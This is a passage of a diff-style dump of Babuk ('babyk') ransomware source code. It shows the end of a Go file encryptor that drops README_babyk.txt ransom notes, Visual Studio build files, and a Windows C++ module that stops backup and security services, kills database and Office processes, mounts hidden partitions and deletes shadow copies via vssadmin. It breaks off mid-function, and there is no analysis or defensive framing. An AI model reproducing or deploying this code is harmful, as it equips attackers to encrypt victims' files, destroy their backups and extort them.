l.Unlock()
|
||||
|
||||
stream, err := chacha20.NewUnauthenticatedCipher(cc20_k[:], cc20_n[10:22])
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
if file_size > 0x1400000 {
|
||||
fmt.Printf("Large cipher mode for: %s\n", path)
|
||||
|
||||
var chunks int64 = file_size / 0xA00000
|
||||
var buffer = make([]byte, 0x100000)
|
||||
|
||||
var i int64
|
||||
for i = 0; i < chunks; i++ {
|
||||
fmt.Printf("Processing chunk %d\\%d (%s)\n", i+1, chunks, path)
|
||||
offset = i * 0xA00000
|
||||
file.ReadAt(buffer, offset)
|
||||
stream.XORKeyStream(buffer, buffer)
|
||||
file.WriteAt(buffer, offset)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("Small cipher mode for: %s\n", path)
|
||||
|
||||
var size_to_encrypt int64 = 0
|
||||
if file_size > 0x400000 {
|
||||
size_to_encrypt = 0x400000
|
||||
} else {
|
||||
size_to_encrypt = file_size
|
||||
}
|
||||
|
||||
var buffer = make([]byte, size_to_encrypt)
|
||||
r, _ := file.ReadAt(buffer, offset)
|
||||
if int64(r) != size_to_encrypt {
|
||||
fmt.Printf("ERROR: %d != %d\n", r, size_to_encrypt)
|
||||
return
|
||||
}
|
||||
|
||||
stream.XORKeyStream(buffer, buffer)
|
||||
file.WriteAt(buffer, offset)
|
||||
}
|
||||
|
||||
file.WriteAt([]byte(publicKey[:]), file_size)
|
||||
file.WriteAt([]byte(flag[:]), file_size+32)
|
||||
}
|
||||
|
||||
func main() {
|
||||
var notesize = 0
|
||||
for i := 0; i < 8192; i++ {
|
||||
if notebytes[i] == 0x00 {
|
||||
notesize = i + 1
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
var queue_max = runtime.GOMAXPROCS(0) * 2
|
||||
var queue_counter = 0
|
||||
|
||||
var note = make([]byte, notesize)
|
||||
for i := 0; i < notesize; i++ {
|
||||
note[i] = notebytes[i]
|
||||
}
|
||||
|
||||
if len(os.Args) == 2 {
|
||||
var wg sync.WaitGroup
|
||||
|
||||
err := filepath.Walk(os.Args[1], func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.IsDir() == false {
|
||||
if strings.Contains(info.Name(), ".babyk") == false && info.Name() != "README_babyk.txt" {
|
||||
fmt.Printf("Pushing to queue: %s\n", path)
|
||||
|
||||
if queue_counter >= queue_max {
|
||||
wg.Wait()
|
||||
queue_counter = 0
|
||||
}
|
||||
wg.Add(1)
|
||||
go encrypt_file(&wg, path)
|
||||
queue_counter += 1
|
||||
}
|
||||
} else {
|
||||
if strings.Contains(info.Name(), "/proc") ||
|
||||
strings.Contains(path, "/boot") ||
|
||||
strings.Contains(path, "/sys") ||
|
||||
strings.Contains(path, "/run") ||
|
||||
strings.Contains(path, "/dev") ||
|
||||
strings.Contains(path, "/etc") ||
|
||||
strings.Contains(path, "/home/httpd") ||
|
||||
strings.Contains(path, ".system/thumbnail") ||
|
||||
strings.Contains(path, ".system/opt") ||
|
||||
strings.Contains(path, ".config") ||
|
||||
strings.Contains(path, ".qpkg") ||
|
||||
strings.Contains(path, "/mnt/ext/opt") {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
|
||||
ioutil.WriteFile(path+"/README_babyk.txt", note, 0777)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
} else {
|
||||
fmt.Printf("%s /path/to/be/encrypted\n", os.Args[0])
|
||||
}
|
||||
}
|
|
@ -0,0 +1,184 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{884ef124-7132-4dc3-b768-78fa52f1268b}</ProjectGuid>
|
||||
<RootNamespace>VASA</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>e</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<TargetExt>_win.bin</TargetExt>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateWindowsMetadata>false</GenerateWindowsMetadata>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OutputFile>$(OutDir)e$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="another.cpp" />
|
||||
<ClCompile Include="args.cpp" />
|
||||
<ClCompile Include="debug.cpp" />
|
||||
<ClCompile Include="ecc\curve25519-donna.cpp" />
|
||||
<ClCompile Include="entry.cpp" />
|
||||
<ClCompile Include="eSTREAM\hc-128.cpp" />
|
||||
<ClCompile Include="hash\crc32.cpp" />
|
||||
<ClCompile Include="hash\sha512.cpp" />
|
||||
<ClCompile Include="memory.cpp" />
|
||||
<ClCompile Include="queue.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="another.h" />
|
||||
<ClInclude Include="args.h" />
|
||||
<ClInclude Include="debug.h" />
|
||||
<ClInclude Include="ecc\curve25519-donna.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-config.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-machine.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-portable.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-sync.h" />
|
||||
<ClInclude Include="hash\crc32.h" />
|
||||
<ClInclude Include="hash\sha512.h" />
|
||||
<ClInclude Include="memory.h" />
|
||||
<ClInclude Include="queue.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,105 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Исходные файлы">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы ресурсов">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков\eSTREAM">
|
||||
<UniqueIdentifier>{8b81f232-07e4-4df8-8a0c-1f7c8099ee23}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Исходные файлы\eSTREAM">
|
||||
<UniqueIdentifier>{99782f35-e4a3-4fe9-bb07-84c7b52079f9}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Исходные файлы\ecc">
|
||||
<UniqueIdentifier>{3f42742a-7ec9-4c7a-9b5c-b690e929cafb}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Исходные файлы\hash">
|
||||
<UniqueIdentifier>{df31615e-2bdb-4dda-86dd-14e68c6458fe}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков\ecc">
|
||||
<UniqueIdentifier>{73082122-514d-418e-a103-6dd865f5b248}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков\hash">
|
||||
<UniqueIdentifier>{0e154ea2-eb00-4922-b13d-11682b97c03f}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="another.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="args.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="debug.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="entry.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="memory.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="queue.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="eSTREAM\hc-128.cpp">
|
||||
<Filter>Исходные файлы\eSTREAM</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="hash\sha512.cpp">
|
||||
<Filter>Исходные файлы\hash</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ecc\curve25519-donna.cpp">
|
||||
<Filter>Исходные файлы\ecc</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="hash\crc32.cpp">
|
||||
<Filter>Исходные файлы\hash</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="another.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="args.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="debug.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="memory.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="queue.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-machine.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-portable.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-sync.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-config.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hash\sha512.h">
|
||||
<Filter>Файлы заголовков\hash</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ecc\curve25519-donna.h">
|
||||
<Filter>Файлы заголовков\ecc</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hash\crc32.h">
|
||||
<Filter>Файлы заголовков\hash</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
|
@ -0,0 +1,237 @@
|
|||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include "another.h"
|
||||
#include "memory.h"
|
||||
#include "debug.h"
|
||||
|
||||
static const CHAR* services_to_stop[] = { "vss", "sql", "svc$", "memtas", "mepocs", "sophos", "veeam", "backup", "GxVss", "GxBlr", "GxFWD", "GxCVD", "GxCIMgr", "DefWatch", "ccEvtMgr", "ccSetMgr", "SavRoam", "RTVscan", "QBFCService", "QBIDPService", "Intuit.QuickBooks.FCS", "QBCFMonitorService", "YooBackup", "YooIT", "zhudongfangyu", "sophos", "stc_raw_agent", "VSNAPVSS", "VeeamTransportSvc", "VeeamDeploymentService", "VeeamNFSSvc", "veeam", "PDVFSService", "BackupExecVSSProvider", "BackupExecAgentAccelerator", "BackupExecAgentBrowser", "BackupExecDiveciMediaService", "BackupExecJobEngine", "BackupExecManagementService", "BackupExecRPCService", "AcrSch2Svc", "AcronisAgent", "CASAD2DWebSvc", "CAARCUpdateSvc" };
|
||||
|
||||
static const WCHAR* processes_to_stop[] = { L"sql.exe", L"oracle.exe", L"ocssd.exe", L"dbsnmp.exe", L"synctime.exe", L"agntsvc.exe", L"isqlplussvc.exe", L"xfssvccon.exe", L"mydesktopservice.exe", L"ocautoupds.exe", L"encsvc.exe", L"firefox.exe", L"tbirdconfig.exe", L"mydesktopqos.exe", L"ocomm.exe", L"dbeng50.exe", L"sqbcoreservice.exe", L"excel.exe", L"infopath.exe", L"msaccess.exe", L"mspub.exe", L"onenote.exe", L"outlook.exe", L"powerpnt.exe", L"steam.exe", L"thebat.exe", L"thunderbird.exe", L"visio.exe", L"winword.exe", L"wordpad.exe", L"notepad.exe" };
|
||||
|
||||
void _load_hidden_partitions() {
|
||||
LPCWSTR driveLetters[26] = {
|
||||
L"Q:\\", L"W:\\", L"E:\\", L"R:\\", L"T:\\",
|
||||
L"Y:\\", L"U:\\", L"I:\\", L"O:\\", L"P:\\",
|
||||
L"A:\\", L"S:\\", L"D:\\", L"F:\\", L"G:\\",
|
||||
L"H:\\", L"J:\\", L"K:\\", L"L:\\", L"Z:\\",
|
||||
L"X:\\", L"C:\\", L"V:\\", L"B:\\", L"N:\\",
|
||||
L"M:\\"
|
||||
};
|
||||
LPCWSTR freeLetters[26];
|
||||
|
||||
DWORD driveCounter = 0;
|
||||
DWORD driveSize = 120;
|
||||
DWORD retSize = 0;
|
||||
WCHAR drive[260];
|
||||
|
||||
for (int i = 0; i < 26; i++) {
|
||||
if (GetDriveTypeW(driveLetters[i]) == DRIVE_NO_ROOT_DIR) {
|
||||
freeLetters[driveCounter++] = driveLetters[i];
|
||||
}
|
||||
}
|
||||
|
||||
drive[0] = L'\0';
|
||||
if (WCHAR* volume = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
|
||||
if (WCHAR* partition = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
|
||||
HANDLE hFind = FindFirstVolumeW(volume, 32768);
|
||||
do {
|
||||
if (driveCounter > 0) {
|
||||
if (GetVolumePathNamesForVolumeNameW(volume, drive, driveSize, &retSize)) {
|
||||
if (lstrlenW(drive) == 3) {
|
||||
drive[0] = L'\0';
|
||||
continue;
|
||||
}
|
||||
}
|
||||
SetVolumeMountPointW(freeLetters[--driveCounter], volume);
|
||||
}
|
||||
else break;
|
||||
} while (FindNextVolumeW(hFind, volume, 32768));
|
||||
FindVolumeClose(hFind);
|
||||
_hfree(partition);
|
||||
}
|
||||
_hfree(volume);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsWow64()
|
||||
{
|
||||
BOOL bIsWow64 = 0;
|
||||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
|
||||
LPFN_ISWOW64PROCESS fnIsWow64Process;
|
||||
fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
|
||||
|
||||
if (0 != fnIsWow64Process)
|
||||
{
|
||||
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
|
||||
{
|
||||
bIsWow64 = 0;
|
||||
}
|
||||
}
|
||||
return bIsWow64;
|
||||
}
|
||||
|
||||
void _remove_shadows() {
|
||||
PVOID oldValue = 0;
|
||||
|
||||
if (IsWow64()) {
|
||||
typedef BOOL(WINAPI* fnc)(PVOID*);
|
||||
HMODULE lib = LoadLibraryA("kernel32.dll");
|
||||
FARPROC addr = GetProcAddress(lib, "Wow64DisableWow64FsRedirection");
|
||||
if (addr) ((fnc)addr)(&oldValue);
|
||||
}
|
||||
|
||||
ShellExecuteW(0, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE);
|
||||
|
||||
if (IsWow64()) {
|
||||
typedef BOOL(WINAPI* fnc)(PVOID);
|
||||
HMODULE lib = LoadLibraryA("kernel32.dll");
|
||||
FARPROC addr = GetProcAddress(lib, "Wow64RevertWow64FsRedirection");
|
||||
if (addr) ((fnc)addr)(oldValue);
|
||||
}
|
||||
}
|
||||
|
||||
void _stop_services() {
|
||||
SERVICE_STATUS_PROCESS sspMain;
|
||||
SERVICE_STATUS_PROCESS sspDep;
|
||||
|
||||
ENUM_SERVICE_STATUSA ess;
|
||||
|
||||
DWORD dwBytesNeeded;
|
||||
DWORD dwWaitTime;
|
||||
DWORD dwCount;
|
||||
|
||||
LPENUM_SERVICE_STATUSA lpDependencies = 0;
|
||||
|
||||
DWORD dwStartTime = GetTickCount();
|
||||
DWORD dwTimeout = 30000;
|
||||
|
||||
if (SC_HANDLE scManager = OpenSCManagerA(0, 0, SC_MANAGER_ALL_ACCESS)) {
|
||||
for (int i = 0; i < _countof(services_to_stop); i++) {
|
||||
if (SC_HANDLE schHandle = OpenServiceA(
|
||||
scManager,
|
||||
services_to_stop[i],
|
||||
SERVICE_STOP |
|
||||
SERVICE_QUERY_STATUS |
|
||||
SERVICE_ENUMERATE_DEPENDENTS)) {
|
||||
if (QueryServiceStatusEx(schHandle,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&sspMain,
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&dwBytesNeeded)) {
|
||||
if (sspMain.dwCurrentState != SERVICE_STOPPED && sspMain.dwCurrentState != SERVICE_STOP_PENDING) {
|
||||
if (!EnumDependentServicesA(schHandle,
|
||||
SERVICE_ACTIVE,
|
||||
lpDependencies,
|
||||
0,
|
||||
&dwBytesNeeded,
|
||||
&dwCount)) {
|
||||
if (GetLastError() == ERROR_MORE_DATA) {
|
||||
if (lpDependencies = (LPENUM_SERVICE_STATUSA)_halloc(dwBytesNeeded)) {
|
||||
if (EnumDependentServicesA(schHandle,
|
||||
SERVICE_ACTIVE,
|
||||
lpDependencies,
|
||||
dwBytesNeeded,
|
||||
&dwBytesNeeded,
|
||||
&dwCount)) {
|
||||
ess = *(lpDependencies + i);
|
||||
|
||||
if (SC_HANDLE hDepService = OpenServiceA(
|
||||
scManager,
|
||||
ess.lpServiceName,
|
||||
SERVICE_STOP |
|
||||
SERVICE_QUERY_STATUS)) {
|
||||
if (ControlService(hDepService,
|
||||
SERVICE_CONTROL_STOP,
|
||||
(LPSERVICE_STATUS)&sspDep)) {
|
||||
while (sspDep.dwCurrentState != SERVICE_STOPPED)
|
||||
{
|
||||
Sleep(sspDep.dwWaitHint);
|
||||
if (QueryServiceStatusEx(
|
||||
hDepService,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&sspDep,
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&dwBytesNeeded)) {
|
||||
if (sspDep.dwCurrentState == SERVICE_STOPPED || GetTickCount() - dwStartTime > dwTimeout) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(hDepService);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_hfree(lpDependencies);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ControlService(schHandle,
|
||||
SERVICE_CONTROL_STOP,
|
||||
(LPSERVICE_STATUS)&sspMain)) {
|
||||
while (sspMain.dwCurrentState != SERVICE_STOPPED)
|
||||
{
|
||||
Sleep(sspMain.dwWaitHint);
|
||||
if (!QueryServiceStatusEx(
|
||||
schHandle,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&sspMain,
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&dwBytesNeeded))
|
||||
{
|
||||
goto stop_cleanup;
|
||||
}
|
||||
|
||||
if (sspMain.dwCurrentState == SERVICE_STOPPED)
|
||||
break;
|
||||
|
||||
if (GetTickCount() - dwStartTime > dwTimeout)
|
||||
{
|
||||
goto stop_cleanup;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
stop_cleanup:;
|
||||
CloseServiceHandle(schHandle);
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(scManager);
|
||||
}
|
||||
}
|
||||
|
||||
void _stop_processes() {
|
||||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
|
||||
PROCESSENTRY32W pEntry;
|
||||
pEntry.dwSize = sizeof(pEntry);
|
||||
BOOL hRes = Process32FirstW(hSnapShot, &pEntry);
|
||||
while (hRes)
|
||||
{
|
||||
for (int i = 0; i < _countof(processes_to_stop); i++) {
|
||||
if (lstrcmpW(processes_to_stop[i], pEntry.szExeFile) == 0) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pEntry.th32ProcessID);
|
||||
if (hProcess != NULL)
|
||||
{
|
||||
TerminateProcess(hProcess, 9);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
hRes = Process32NextW(hSnapShot, &pEntry);
|
||||
}
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
HCRYPTPROV gen_context()
|
||||
{
|
||||
HCRYPTPROV hProv = NULL;
|
||||
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&
|
